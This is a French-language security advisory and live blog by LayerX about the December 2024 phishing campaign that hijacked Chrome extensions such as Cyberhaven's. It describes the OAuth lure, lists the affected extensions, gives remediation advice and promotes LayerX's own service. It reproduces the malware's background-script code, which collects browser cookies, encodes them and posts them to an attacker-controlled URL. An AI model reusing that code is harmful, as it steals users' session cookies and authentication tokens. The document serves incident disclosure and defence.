Dernière mise à jour : 30 décembre 2024
Ce fil de discussion sur le blog suit la campagne d'attaque mondiale en cours visant les extensions de navigateur sur le Chrome Web Store. Nous mettrons à jour les nouveaux détails dès qu'ils seront disponibles.
Résumé
Le 27 décembre 2024, la start-up spécialisée dans la cybersécurité Cyberhaven a révélé qu'une attaque avait compromis son extension de navigateur et y avait injecté du code malveillant. Une fois les détails de cette attaque révélés, d'autres extensions de navigateur compromises ont été rapidement découvertes, avec plus de 25 extensions actuellement connues comme ayant été affectées.
Le fil de discussion en direct ci-dessous explique tous les détails que nous connaissons, les extensions qui ont été impactées, comment les organisations doivent se protéger et comment LayerX aide ses clients à gérer les extensions compromises par cette attaque.
Liens rapides à l'intérieur de ce document :
- Comment l'attaque a été découverte
- Comment l'attaque a été menée
- Analyse technique de l'attaque
- Autres extensions concernées
- Comment se protéger
- Comment LayerX aide ses clients à se protéger
- Audit et réparation gratuits des extensions compromises
Comment l'attaque a été découverte
Le 27 décembre 2024, Cyberhaven a informé ses clients d'une faille de sécurité qui a conduit à la compromission des identifiants d'un employé de Cyberhaven, qui ont été utilisés pour diffuser une version malveillante de l'extension de navigateur de Cyberhaven sur le Chrome Store. L'extension de sécurité Cyberhaven compte actuellement plus de 400,000 XNUMX utilisateurs, qui ont vraisemblablement été touchés par cette faille.
La nouvelle de l'incident a été premier rapport du blog de cybersécurité Vulnu, qui a obtenu une copie du courrier électronique envoyé par Cyber n'a pas été envoyé aux clients.
Selon l'analyse de Cyberhaven, le 24 décembre, une attaque de phishing a compromis l'un de leurs employés, permettant aux attaquants d'accéder à l'extension de navigateur de l'entreprise sur le Chrome Web Store.
Les attaquants ont ensuite exploité cet accès pour télécharger une version malveillante de l'extension de navigateur de Cyberhaven et l'ont mise à jour sur Chrome Store aux premières heures du 25 décembre.
Selon Cyberhaven, la mise à jour malveillante a été détectée environ un jour plus tard et le code malveillant a été supprimé aux premières heures du 26 décembre. Au total, la version malveillante était en ligne pendant un peu plus de 24 heures.
Cependant, à mesure qu'il est apparu que des extensions supplémentaires avaient été compromises, il est devenu évident que l'attaque Cyberhaven n'était pas une attaque isolée ciblant uniquement cette entreprise, mais plutôt une partie d'une vaste campagne.
Cela rend l’analyse de l’incident de Cyberhaven pertinente pour comprendre la campagne dans son ensemble.
Comment l'attaque a été menée
Le compte administrateur de l'extension de navigateur Cyberhaven a été compromis via une attaque de phishing ciblée, permettant à l'attaquant de publier une version malveillante de celle-ci.
Étant donné que cet incident n’était pas seulement une attaque ponctuelle, mais faisait partie d’une campagne ciblant plusieurs extensions, nous pensons que l’approche de phishing utilisée pour attaquer Cyberhaven a également été reproduite avec toutes les autres extensions.
La source la plus probable des cibles de la campagne de phishing est le Chrome Web Store lui-même.
Pour chaque extension, le Chrome Store fournit les détails de l'éditeur de l'extension, ainsi qu'une adresse e-mail de contact :
Exemple de coordonnées de l'extension de navigateur Cyberhaven, depuis le Chrome Web Store
À l'aide de ces adresses e-mail, les attaquants ont envoyé des e-mails falsifiés se faisant passer pour Google, alertant les destinataires des « violations » de leurs comptes.
Il s'agit d'une copie de l'e-mail de phishing envoyé à Cyberhaven, que la société a fourni dans le cadre de son analyse technique de l'incident:
Cependant, des courriers électroniques similaires ont également émergé d'autres sources : fil de discussion sur le groupe de discussion Chromium.org interrogés sur un e-mail suspect qu'ils ont reçu soi-disant de Google, pour comprendre s'il s'agit d'une tentative de phishing :
Cet e-mail est quasiment identique à celui qui a compromis Cyberhaven (bien que mentionnant une raison de « violation » différente), ce qui indique qu'il faisait partie de la même campagne de phishing. Selon la publication, cet e-mail a été reçu le 23 décembre, juste au moment où Cyberhaven a été piraté.
Une fois que la cible visée a cliqué sur le lien de l’e-mail, elle a été redirigée vers un formulaire d’autorisation Google pour ajouter une application Google OAuth nommée « Extensions de politique de confidentialité ».
Suivre ce processus d'approbation conduirait à autoriser l'application OAuth tierce malveillante et à lui accorder l'accès au compte Chrome Web Store de la victime. Cependant, en raison de la manière dont l'attaque a été conçue, les attaquants n'ont pas eu besoin de compromettre les informations d'identification du compte elles-mêmes (c'est-à-dire le mot de passe), mais ont simplement « profité » des autorisations accordées par l'application malveillante.
Analyse technique de l'attaque
Une fois que les attaquants ont eu accès au compte Web Store de la victime, ils ont injecté du code dans le fichier worker.js de l'extension pour accéder à une URL externe (cyberhavenext[.]pro) et télécharger un fichier de configuration externe.
A chaque lancement du navigateur, l'extension récupère un fichier de configuration sur un serveur distant. Ce fichier contrôle le comportement de l'extension et peut être mis à jour dynamiquement par l'attaquant, lui permettant ainsi de dicter est ce que nous faisons et quand des actions se produisent. l'attaquant peut changer le fichier de configuration à tout moment, ce qui leur permet d'adapter l'attaque à différents environnements ou cibles de manière dynamique. C'est la clé de la flexibilité de l'attaque.
Vous trouverez ci-dessous un exemple d’un tel code :
Principales informations tirées du code :
- Injecté sur plusieurs extensions:Le code malveillant ne se limite pas à une seule extension. Il a plutôt été injecté dans plusieurs extensions, chacune récupérant son propre fichier de configuration unique. Cette stratégie permet à l'attaquant de diversifier les vecteurs d'attaque, de personnaliser les comportements des différentes extensions et de rendre la détection plus difficile.
- Comportement récurrent:La récupération de la configuration se produit à chaque lancement du navigateur, garantissant que chaque extension fonctionne toujours avec les dernières instructions fournies par l'attaquant.
- Dénomination trompeuse:Le code utilise des noms de variables ou d'attributs, tels que cyberhavenext_ext_manage, contenant le nom de l'entreprise. Cela lui donne une apparence légitime aux yeux des développeurs qui inspectent le stockage ou le code de l'extension.
- Abus de stockage local:En stockant les données de configuration dans stockage.chrome.local, l'attaquant assure la persistance. Les développeurs qui inspectent ces données peuvent leur faire confiance à tort en raison de l'utilisation de noms familiers ou crédibles.
- Dynamic Control : Le point final (https://cyberhavenext.pro/ai-cyberhaven) permet à l'attaquant de modifier les fichiers de configuration de chaque extension à tout moment, offrant un contrôle complet sur la fonctionnalité et le comportement de chaque extension infectée.
- Configurations personnalisées: Chaque extension récupère une configuration unique, ce qui rend le comportement malveillant plus difficile à généraliser et à détecter. Cette approche permet des attaques personnalisées en fonction de l'objectif spécifique de l'extension ou de sa base d'utilisateurs.
De plus, le code a ajouté un nouveau fichier (content.js) aux extensions, utilisé pour collecter les données des utilisateurs sur les sites Web et les exfiltrer vers un site Web externe. Le script d'arrière-plan de l'extension fonctionne comme un contrôleur central, gérant les messages entrants des scripts de contenu et exécutant diverses actions en fonction de ces messages. L'extrait de code suivant illustre une structure flexible en attente de traitement de plusieurs types de requêtes :
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
Le script utilise chrome.runtime.onMessage.addListener pour traiter une variété d'actions. Chaque action définit un comportement spécifique, comme par exemple effectuer des requêtes réseau.
Quand le "cyberhavenext-check-errors" l'action est invoquée, l'attaquant récupère les cookies sensibles en utilisant chrome.cookies.getAll l'attaquant combine également ces données avec d'autres informations (comme navigator[c] et e.uid) l'attaquant masquera le contenu en utilisant btoa() afin de le convertir en base64. Cela rend les données moins lisibles dans les outils de surveillance réseau, ajoutant une couche d'obscurcissement.
En intégrant ces actions dans le script d’arrière-plan, l’attaquant s’assure que :
- L’activité malveillante est indépendante des interactions de l’utilisateur.
- Cela se produit discrètement en arrière-plan, ce qui le rend plus difficile à détecter.
L'analyse effectuée par Cyberhaven sur les points de terminaison exposés indique que le code malveillant se concentrait spécifiquement sur les cookies et les jetons d'authentification pour Facebook, et en particulier sur les comptes professionnels Facebook :
Selon Cyberhaven, les données ciblées comprenaient des jetons d'accès Facebook, des identifiants d'utilisateur, des informations de compte et des détails de compte Facebook Ads.
Autres extensions concernées
Une fois l'URL du serveur C&C malveillant identifiée, les chercheurs en sécurité ont utilisé le DNS inversé pour identifier des domaines supplémentaires qui correspondaient à la même adresse IP. Cela a conduit à découverte d'extensions de navigateur compromises supplémentaires et a révélé l’ampleur de cette campagne d’attaque.
Actuellement, plus de 25 extensions de navigateur, avec une base installée de plus de 2.3 millions d'utilisateurs, ont été identifiées comme étant compromises :
- Assistant IA – ChatGPT et Gemini pour Chrome
- Ami de la boutique AI
- Discussion avec l'IA de Bard
- Marque-page Favicon Changer
- Castor
- Assistant ChatGPT – Recherche intelligente
- Extension de sécurité Cyberhaven V3
- Earny – Jusqu'à 20 % de remise en argent
- Email Hunter
- Résumé de GPT 4 avec OpenAI
- Inspecteur de réseau GraphQL
- Internxt VPN
- Enregistreur d'historique de clavier
- Parler de perroquet
- Primus
- Mode lecteur
- Automatisation de la recherche de récompenses
- Rechercher Copilot AI Assistant pour Chrome
- Trier par le plus ancien
- Tackker – outil d'enregistrement de frappe en ligne
- TinaMind – L'assistant IA alimenté par GPT-4o !
- Voix humaine
- VidHelper – Téléchargeur de vidéos
- Vidnoz Flex – Enregistreur vidéo et partage de vidéos
- Effets visuels pour Google Meet
- VPNVille
- IA Wayin
Comment se protéger
Bien que l’analyse technique ait jusqu’à présent indiqué que l’objectif principal de cette campagne était le vol d’identifiants et de jetons d’accès Facebook, il est impossible d’exclure l’exposition d’identifiants de sites Web supplémentaires.
C'est pourquoi LayerX recommande les actions suivantes à tous les utilisateurs concernés :
- Supprimer les extensions de navigateur concernées: assurez-vous que toutes les extensions concernées sont supprimées et/ou bloquées. Certaines extensions ont déjà téléchargé des versions mises à jour qui ont supprimé le code malveillant, mais pas toutes. De plus, toutes les extensions compromises qui ont déjà été téléchargées resteront exposées jusqu'à ce que l'utilisateur mette à jour la version de l'extension. C'est pourquoi il est essentiel de désactiver activement toutes les extensions potentiellement exposées.
- Mettre à jour toutes les extensions vers les dernières versions:dans le cas où un correctif a été émis par l'éditeur, il est important de mettre à jour la version installée de l'extension dès que possible (en supposant qu'elle n'ait pas déjà été supprimée)
- Supprimer tous les cookies des utilisateurs concernés:étant donné que l'attaque visait les cookies et les jetons d'accès des sites Web, il est impératif de supprimer tous les cookies existants et d'actualiser les jetons d'accès.
- Faire tourner les mots de passe:en tant que bonne pratique, il est également recommandé d'actualiser tous les mots de passe des utilisateurs concernés, afin de garantir qu'aucune information d'identification d'accès ne soit compromise.
Comment LayerX aide ses clients
- Découverte d'extensions exposées:Depuis que l'incident de Cyberhaven a été révélé, les chercheurs en sécurité du monde entier ont travaillé pour identifier d'autres extensions compromises. LayerX a participé activement à cet effort, en découvrant un certain nombre de ces extensions et en les combinant avec des informations accessibles au public.
- Détection des extensions malveillantes déployées dans les réseaux des clients: LayerX a continuellement mis à jour ses listes d'extensions malveillantes pour y inclure les extensions découvertes comme ayant été compromises par cette faille. Chaque fois qu'une telle extension est découverte, les clients sont immédiatement alertés. En outre, LayerX a activement contacté les clients concernés pour les alerter de ces découvertes.
- Déploiement de politiques d'application automatique: LayerX a mis à jour les politiques client pour désactiver automatiquement toute extension compromise connue.
- Suppression des cookies des utilisateurs exposés:à la demande de l'utilisateur, LayerX peut activement imposer la suppression des cookies sur les utilisateurs exposés, réinitialisant ainsi les cookies et les jetons d'authentification.
- Forcer la rotation des mots de passe pour les utilisateurs exposés: LayerX peut également déployer des politiques de sécurité pour forcer la rotation des mots de passe sur les utilisateurs exposés, afin de garantir qu'aucune information d'identification d'accès ne reste exposée.
Audit et réparation gratuits des extensions compromises
En raison de l'ampleur et de la portée de cette attaque, LayerX propose aux organisations touchées par cette attaque (ou craignant d'être potentiellement touchées) un audit et une correction gratuits des extensions de navigateur.
Cet audit comprend :
- Découverte de toutes les extensions de navigateur installées dans votre environnement
- Cartographie des utilisateurs qui ont installé quelles extensions sur leurs points de terminaison
- Évaluation détaillée des risques de chaque extension de navigateur
- Suppression des extensions de navigateur malveillantes compromises
- Rotation des cookies et mots de passe des utilisateurs, si nécessaire
Cliquez ici pour vous inscrire à cette évaluation.






